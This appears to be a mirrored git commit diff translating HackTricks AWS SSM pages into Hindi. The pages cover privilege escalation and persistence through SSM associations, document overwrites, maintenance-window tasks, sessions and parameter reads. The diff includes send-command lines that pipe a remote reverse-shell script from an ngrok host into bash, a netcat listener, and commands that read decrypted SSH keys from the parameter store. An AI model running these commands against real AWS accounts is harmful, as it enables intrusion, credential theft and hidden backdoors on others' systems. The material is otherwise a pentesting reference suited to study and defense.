mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-04-28 12:03:08 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-s
This commit is contained in:
Translator
@@ -10,9 +10,9 @@
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### ssm:CreateAssociation का उपयोग persistence के लिए
|
||||
### persistence के लिए ssm:CreateAssociation का उपयोग
|
||||
|
||||
जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह State Manager Association बना सकता है जो SSM द्वारा प्रबंधित EC2 instances पर ऑटोमेटिक रूप से commands निष्पादित करे। इन associations को तय अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त होते हैं।
|
||||
**`ssm:CreateAssociation`** अनुमति वाला एक attacker State Manager Association बना सकता है ताकि SSM द्वारा managed EC2 instances पर commands automatically execute की जा सकें। इन associations को fixed interval पर run करने के लिए configure किया जा सकता है, जिससे ये interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त होती हैं।
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -22,6 +22,56 @@ aws ssm create-association \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> यह persistence method तब तक काम करती है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations बनाने की permission है। इसे interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं है। **Important:** `--schedule-expression` parameter (e.g., `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 minutes का पालन करना होगा। तुरंत या एक-बार के execution के लिए, `--schedule-expression` को पूरी तरह से हटा दें — association बनते ही यह एक बार execute होगा।
|
||||
> यह persistence method तब तक काम करती है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations create करने की permission है। इसके लिए interactive sessions या explicit ssm:SendCommand permissions की ज़रूरत नहीं होती। **Important:** `--schedule-expression` parameter (जैसे `rate(30 minutes)`) को AWS के minimum interval 30 minutes का पालन करना होगा। Immediate या one-time execution के लिए, `--schedule-expression` को पूरी तरह omit करें — association creation के बाद एक बार execute होगी।
|
||||
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
**`ssm:UpdateDocument`** और **`ssm:UpdateDocumentDefaultVersion`** permissions वाला attacker existing documents modify करके privileges escalate कर सकता है। इससे उस document के भीतर persistence भी possible होती है। Practical रूप से attacker को custom documents के names पाने के लिए **`ssm:ListDocuments`** भी चाहिए होगा, और अगर attacker existing document के अंदर अपने payload को obfuscate करना चाहता है, तो **`ssm:GetDocument`** भी necessary होगा।
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
नीचे एक example document है जिसका उपयोग किसी existing document को overwrite करने के लिए किया जा सकता है। आपको यह सुनिश्चित करना होगा कि आपका document type target document के type से match करे, ताकि innvocation से जुड़ी issues न हों। नीचे दिया गया document, उदाहरण के लिए, **`ssm:SendCommand`** और **`ssm:CreateAssociation`** examples के लिए होगा।
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
**`ssm:RegisterTaskWithMaintenanceWindow`** और **`ssm:RegisterTargetWithMaintenanceWindow`** permissions वाला attacker पहले existing maintenance window के साथ एक नया target register करके और फिर एक नया task register/update करके privileges escalate कर सकता है। इससे existing targets पर execution हो जाती है, लेकिन नए targets register करके attacker अलग-अलग roles वाले compute को compromise भी कर सकता है। यह persistence भी देता है, क्योंकि maintenance window tasks window creation के दौरान एक pre-defined interval पर execute होते हैं। Practical रूप से, attacker को maintenance window IDs पाने के लिए **`ssm:DescribeMaintenanceWindows`** की भी जरूरत होगी।
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ SSM के बारे में अधिक जानकारी के ल
|
||||
|
||||
### `ssm:SendCommand`
|
||||
|
||||
एक हमलावर जिसके पास अनुमति **`ssm:SendCommand`** हो, Amazon SSM Agent चला रहे इंस्टेंस में **कमांड निष्पादित कर सकता है** और उसके अंदर चल रहे **IAM Role को समझौता कर सकता है**.
|
||||
**`ssm:SendCommand`** अनुमति वाला attacker Amazon SSM Agent चलाने वाले instances में **commands execute** कर सकता है और उसके अंदर चल रहे IAM Role को **compromise** कर सकता है।
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
|
||||
```
|
||||
यदि आप इस तकनीक का उपयोग पहले से compromised EC2 instance के अंदर privileges escalate करने के लिए कर रहे हैं, तो आप बस स्थानीय रूप से rev shell को capture कर सकते हैं:
|
||||
यदि आप इस technique का उपयोग पहले से compromised EC2 instance के अंदर privileges escalate करने के लिए कर रहे हैं, तो आप बस rev shell को locally इस तरह capture कर सकते हैं:
|
||||
```bash
|
||||
# If you are in the machine you can capture the reverseshel inside of it
|
||||
nc -lvnp 4444 #Inside the EC2 instance
|
||||
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
|
||||
--document-name "AWS-RunShellScript" --output text \
|
||||
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
|
||||
```
|
||||
**Potential Impact:** EC2 IAM roles जो SSM Agents चलाने वाले इंस्टेंस से जुड़े हैं, उन पर प्रत्यक्ष privesc।
|
||||
**संभावित प्रभाव:** चल रहे instances पर running SSM Agents के साथ जुड़े EC2 IAM roles तक direct privesc।
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
जिसके पास अनुमति **`ssm:StartSession`** है, एक attacker Amazon SSM Agent चलाने वाले इंस्टेंस में **SSH जैसी session शुरू कर सकता है** और उसके अंदर चल रहे **IAM Role** को compromise कर सकता है।
|
||||
Permission **`ssm:StartSession`** वाला attacker Amazon SSM Agent चला रहे **instances में SSH जैसी session start** कर सकता है और उसके अंदर चल रहे **IAM Role को compromise** कर सकता है।
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-instance-information
|
||||
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
> [!CAUTION]
|
||||
> सेशन शुरू करने के लिए आपके पास **SessionManagerPlugin** इंस्टॉल होना चाहिए: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
> किसी session को शुरू करने के लिए आपको **SessionManagerPlugin** install होना चाहिए: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
|
||||
|
||||
**Potential Impact:** EC2 IAM roles पर सीधे privesc जो उन running instances से जुड़ी हों जिन पर SSM Agents चल रहे हों।
|
||||
**Potential Impact:** चल रही instances पर लगे EC2 IAM roles तक direct privesc, जिनमें SSM Agents चल रहे हों।
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
जब **ECS tasks** **`ExecuteCommand` enabled** के साथ चलती हैं, पर्याप्त अनुमतियों वाले उपयोगकर्ता `ecs execute-command` का उपयोग करके container के अंदर **कमांड चलाना** कर सकते हैं.\
|
||||
[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार यह उस डिवाइस और लक्ष्य container के बीच SSM Session Manager के साथ एक सुरक्षित चैनल बनाकर किया जाता है जिसका उपयोग आप “_exec_“ कमांड आरंभ करने के लिए करते हैं। (SSM Session Manager Plugin necesary for this to work)\
|
||||
इसलिए, जिन उपयोगकर्ताओं के पास `ssm:StartSession` है, वे उस विकल्प सक्षम होने पर बस निम्नलिखित चलाकर **ECS tasks के अंदर एक shell प्राप्त कर पाएँगे**:
|
||||
जब **ECS tasks** **`ExecuteCommand` enabled** के साथ चलते हैं, तो पर्याप्त permissions वाले users **`ecs execute-command`** का उपयोग करके container के अंदर **execute a command** कर सकते हैं।\
|
||||
[**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) के अनुसार यह SSM Session Manager के साथ उस device और target container के बीच एक secure channel बनाकर किया जाता है, जिसका उपयोग आप “_exec_“ command शुरू करने के लिए करते हैं। (इस काम के लिए SSM Session Manager Plugin necessary है)\
|
||||
इसलिए, जिन users के पास `ssm:StartSession` है, वे इस option के enabled होने पर सिर्फ यह चलाकर ECS tasks के अंदर **get a shell inside ECS tasks** कर पाएंगे:
|
||||
```bash
|
||||
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
|
||||
```
|
||||
.png>)
|
||||
|
||||
**संभावित प्रभाव:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
|
||||
**संभावित प्रभाव:** `ExecuteCommand` enabled के साथ चल रहे tasks से attached `ECS`IAM roles तक direct privesc.
|
||||
|
||||
### `ssm:ResumeSession`
|
||||
|
||||
जिस attacker के पास permission **`ssm:ResumeSession`** है, वह re-**start a SSH like session in instances** running the Amazon SSM Agent with a **disconnected** SSM session state और **compromise the IAM Role** जो इसके अंदर चल रहा है, कर सकता है।
|
||||
`ssm:ResumeSession` permission वाला attacker Amazon SSM Agent चला रहे instances में **disconnected** SSM session state के साथ **SSH जैसी session को re-**start कर सकता है और उसके अंदर चल रहे **IAM Role को compromise** कर सकता है.
|
||||
```bash
|
||||
# Check for configured instances
|
||||
aws ssm describe-sessions
|
||||
@@ -72,30 +72,30 @@ aws ssm describe-sessions
|
||||
aws ssm resume-session \
|
||||
--session-id Mary-Major-07a16060613c408b5
|
||||
```
|
||||
**Potential Impact:** Direct privesc उन EC2 IAM roles पर जो running instances से जुड़े हैं और जिन पर SSM Agents चल रहे हों और disconnected sessions मौजूद हों।
|
||||
**संभावित प्रभाव:** running instances के साथ जुड़े EC2 IAM roles तक direct privesc, जहाँ SSM Agents चल रहे हों और disconected sessions हों।
|
||||
|
||||
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
|
||||
|
||||
उल्लिखित अनुमतियाँ रखने वाला attacker सक्षम होगा **SSM parameters** को सूचीबद्ध करने के लिए और **उन्हें clear-text में पढ़ने** के लिए। इन parameters में अक्सर आप संवेदनशील जानकारी पा सकते हैं, जैसे SSH keys या API keys।
|
||||
उल्लेखित permissions वाला attacker **SSM parameters** को list कर पाएगा और उन्हें **clear-text में read** कर पाएगा। इन parameters में आप अक्सर **sensitive information** जैसे SSH keys या API keys पा सकते हैं।
|
||||
```bash
|
||||
aws ssm describe-parameters
|
||||
# Suppose that you found a parameter called "id_rsa"
|
||||
aws ssm get-parameters --names id_rsa --with-decryption
|
||||
aws ssm get-parameter --name id_rsa --with-decryption
|
||||
```
|
||||
**संभावित प्रभाव:** पैरामीटरों के अंदर संवेदनशील जानकारी मिल सकती है।
|
||||
**संभावित प्रभाव:** parameters के अंदर sensitive information ढूँढें।
|
||||
|
||||
### `ssm:ListCommands`
|
||||
|
||||
इस अनुमति के साथ एक attacker भेजे गए सभी **commands** की सूची देख सकता है और संभवतः उन पर **संवेदनशील जानकारी** पा सकता है।
|
||||
इस permission वाला attacker भेजे गए सभी **commands** list कर सकता है और उम्मीद है कि उनमें **sensitive information** मिल जाएगी।
|
||||
```
|
||||
aws ssm list-commands
|
||||
```
|
||||
**संभावित प्रभाव:** कमांड लाइनों के भीतर संवेदनशील जानकारी मिल सकती है।
|
||||
**संभावित प्रभाव:** command lines के अंदर sensitive information खोजें।
|
||||
|
||||
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
|
||||
|
||||
इन अनुमतियों वाला हमलावर भेजे गए सभी **commands** को सूचीबद्ध कर सकता है और उत्पन्न होने वाले **read the output** को पढ़ सकता है, जिससे उम्मीद है कि उसे उसमें **sensitive information** मिल जाएगी।
|
||||
इन permissions वाला attacker भेजे गए सभी **commands** को list कर सकता है और **generated output** को **read** कर सकता है, जिससे उम्मीद है कि उसमें **sensitive information** मिल जाए।
|
||||
```bash
|
||||
# You can use any of both options to get the command-id and instance id
|
||||
aws ssm list-commands
|
||||
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
|
||||
|
||||
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
|
||||
```
|
||||
**संभावित प्रभाव:** कमांड आउटपुट में संवेदनशील जानकारी का पता चल सकता है।
|
||||
**संभावित प्रभाव:** command lines के output के अंदर sensitive information ढूँढना।
|
||||
|
||||
### ssm:CreateAssociation का उपयोग
|
||||
### Using ssm:CreateAssociation
|
||||
|
||||
परमिशन **`ssm:CreateAssociation`** रखने वाला एक हमलावर State Manager Association बना सकता है जो SSM द्वारा प्रबंधित EC2 instances पर कमांड्स स्वचालित रूप से निष्पादित करता है। इन associations को एक निश्चित अंतराल पर चलने के लिए कॉन्फ़िगर किया जा सकता है, जो इन्हें interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त बनाता है।
|
||||
**`ssm:CreateAssociation`** permission वाला attacker एक State Manager Association बना सकता है ताकि SSM द्वारा managed EC2 instances पर automatically commands execute किए जा सकें। इन associations को fixed interval पर run करने के लिए configure किया जा सकता है, जिससे ये interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त होते हैं।
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
@@ -117,11 +117,60 @@ aws ssm create-association \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> यह persistence method तब तक काम करता है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations बनाने की permission है। इसमें interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` parameter (उदा., `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का पालन करना होगा। तत्काल या एक बार के execution के लिए, `--schedule-expression` को पूरी तरह हटा दें — association बनते ही एक बार execute होगा।
|
||||
> यह persistence method तब तक काम करती है जब तक EC2 instance को Systems Manager द्वारा managed किया गया है, SSM agent चल रहा है, और attacker के पास associations create करने की permission है। इसके लिए interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं होती। **Important:** `--schedule-expression` parameter (जैसे, `rate(30 minutes)`) को AWS के minimum interval 30 minutes का पालन करना होगा। immediate या one-time execution के लिए, `--schedule-expression` को पूरी तरह omit करें — association creation के बाद एक बार execute होगी।
|
||||
|
||||
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
|
||||
|
||||
**`ssm:UpdateDocument`** और **`ssm:UpdateDocumentDefaultVersion`** permissions वाला attacker existing documents को modify करके privileges escalate कर सकता है। इससे उस document के भीतर persistence भी संभव हो जाती है। व्यवहार में attacker को custom documents के names पाने के लिए **`ssm:ListDocuments`** की भी आवश्यकता होगी, और अगर attacker existing document के भीतर अपना payload obfuscate करना चाहता है, तो **`ssm:GetDocument`** भी जरूरी होगा।
|
||||
```bash
|
||||
aws ssm list-documents
|
||||
aws ssm get-document --name "target-document" --document-format YAML
|
||||
# You will need to specify the version you're updating
|
||||
aws ssm update-document \
|
||||
--name "target-document" \
|
||||
--document-format YAML \
|
||||
--content "file://doc.yaml" \
|
||||
--document-version 1
|
||||
aws ssm update-document-default-version --name "target-document" --document-version 2
|
||||
```
|
||||
नीचे एक उदाहरण document है जिसका उपयोग किसी मौजूदा document को overwrite करने के लिए किया जा सकता है। आपको यह सुनिश्चित करना होगा कि आपका document type target document type से मेल खाता हो, ताकि invocation से जुड़ी समस्याएँ न हों। नीचे दिया गया document, उदाहरण के लिए, **`ssm:SendCommand`** और **`ssm:CreateAssociation`** examples के लिए होगा।
|
||||
```yaml
|
||||
schemaVersion: '2.2'
|
||||
description: Execute commands on a Linux instance.
|
||||
parameters:
|
||||
commands:
|
||||
type: StringList
|
||||
description: "The commands to run."
|
||||
displayType: textarea
|
||||
mainSteps:
|
||||
- action: aws:runShellScript
|
||||
name: runCommands
|
||||
inputs:
|
||||
runCommand:
|
||||
- "id > /tmp/pwn_test.txt"
|
||||
```
|
||||
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
|
||||
|
||||
एक attacker जिसके पास **`ssm:RegisterTaskWithMaintenanceWindow`** और **`ssm:RegisterTargetWithMaintenanceWindow`** permissions हैं, वह पहले किसी existing maintenance window के साथ एक नया target register करके और फिर एक नया task register/update करके privilege escalation कर सकता है। इससे existing targets पर execution मिलती है, लेकिन attacker नए targets register करके अलग-अलग roles वाले compute को compromise कर सकता है। यह persistence भी देता है, क्योंकि maintenance windows tasks window creation के दौरान pre-defined interval पर execute होते हैं। Practical तौर पर attacker को maintenance window IDs पाने के लिए **`ssm:DescribeMaintenanceWindows`** की भी जरूरत होगी।
|
||||
``` bash
|
||||
aws ec2 describe-instances
|
||||
aws ssm describe-maintenance-window
|
||||
aws ssm register-target-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--resource-type "INSTANCE" \
|
||||
--targets "Key=InstanceIds,Values=<instance_id>"
|
||||
aws ssm register-task-with-maintenance-window \
|
||||
--window-id "<mw-id>" \
|
||||
--task-arn "AWS-RunShellScript" \
|
||||
--task-type "RUN_COMMAND" \
|
||||
--targets "Key=WindowTargetIds,Values=<target_id>" \
|
||||
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
|
||||
--max-concurrency 50 \
|
||||
--max-errors 100
|
||||
```
|
||||
### Codebuild
|
||||
|
||||
आप SSM का उपयोग करके बन रहे codebuild project के अंदर भी पहुँच सकते हैं:
|
||||
आप SSM का उपयोग करके एक codebuild project में भी अंदर जा सकते हैं जो build हो रहा है:
|
||||
|
||||
{{#ref}}
|
||||
../aws-codebuild-privesc/README.md
|
||||
|
||||
Reference in New Issue
Block a user